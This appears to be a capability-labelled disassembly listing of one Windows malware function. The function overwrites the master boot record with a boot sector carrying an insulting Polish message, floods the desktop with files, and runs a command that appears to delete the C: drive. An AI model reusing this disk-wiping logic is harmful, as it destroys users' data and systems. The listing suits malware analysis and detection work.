Function at 0x140001823
Capabilities:
Execute command
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x298
lea rbp, [rsp + 0x80]
call dbg.__main
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0xc0000000
lea rax, str..PhysicalDrive0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x208], rax
cmp qword [rbp + 0x208], 0xffffffffffffffff
jne 0x1400018d4
lea rax, str.Failed_to_open_disk_handle:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call sym.std::ostream::operator___unsigned_long_
mov rcx, rax
mov rax, qword [0x140005520]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ebx, 1
jmp 0x140001b05
movabs rax, 0x7b8d88e000eb8
movabs rdx, 0x10cd0ab20eb4c08e
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov qword [rbp], 0x10cd20b2
mov qword [rbp + 8], 0
lea rdx, [rbp + 0x10]
mov eax, 0
mov ecx, 0x3c
mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, [rbp + 0x1f7]
mov qword [rbp + 0x1f8], rax
nop
nop
lea rdx, [rbp + 0x1f7]
lea rax, [rbp - 0x30]
mov r8, rdx
lea rdx, str.JESTES_GEJEM._IDZ_DO_CAMENA_KURDE
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1f7]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::length___const
mov qword [rbp + 0x200], rax
mov rax, qword [rbp + 0x200]
add rax, 0x200
cmp rax, 0x200
jbe 0x1400019c1
lea rax, str.Custom_text_is_too_long_
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140005520]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x208]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ebx, 1
jmp 0x140001af9
mov eax, 0x1ff
sub rax, qword [rbp + 0x200]
lea rdx, [rbp - 0x10]
lea rsi, [rdx + rax]
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::end__
mov rbx, rax
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::begin__
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call method.unsigned_char_std::copy___gnu_cxx::__normal_iterator_char__std::__cxx11::basic_string_char__std::char_traits_char___std.allocator_char_______unsigned_char____gnu_cxx::__normal_iterator_char__std::__cxx11::basic_string_char__std::char_traits_cha
mov byte [rbp + 0x1ef], 0x55
mov byte [rbp + 0x1ee], 0xaa
lea rcx, [rbp - 0x34]
lea rdx, [rbp - 0x10]
mov rax, qword [rbp + 0x208]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0x200
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
test eax, eax
sete al
test al, al
je 0x140001a9d
lea rax, str.Failed_to_write_to_disk:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call sym.std::ostream::operator___unsigned_long_
mov rcx, rax
mov rax, qword [0x140005520]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x208]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ebx, 1
jmp 0x140001af9
mov rax, qword [rbp + 0x208]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ecx, 0x34309
call sym.createFilesOnDesktop_int_
lea rax, str.rd__r_c:_
mov rcx, rax
call sym.system
lea rax, str.Bootloader_written_successfully_
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140005520]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ebx, 0
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x140001b41
add rsp, 0x298
pop rbx
pop rsi
pop rdi
pop rbp
ret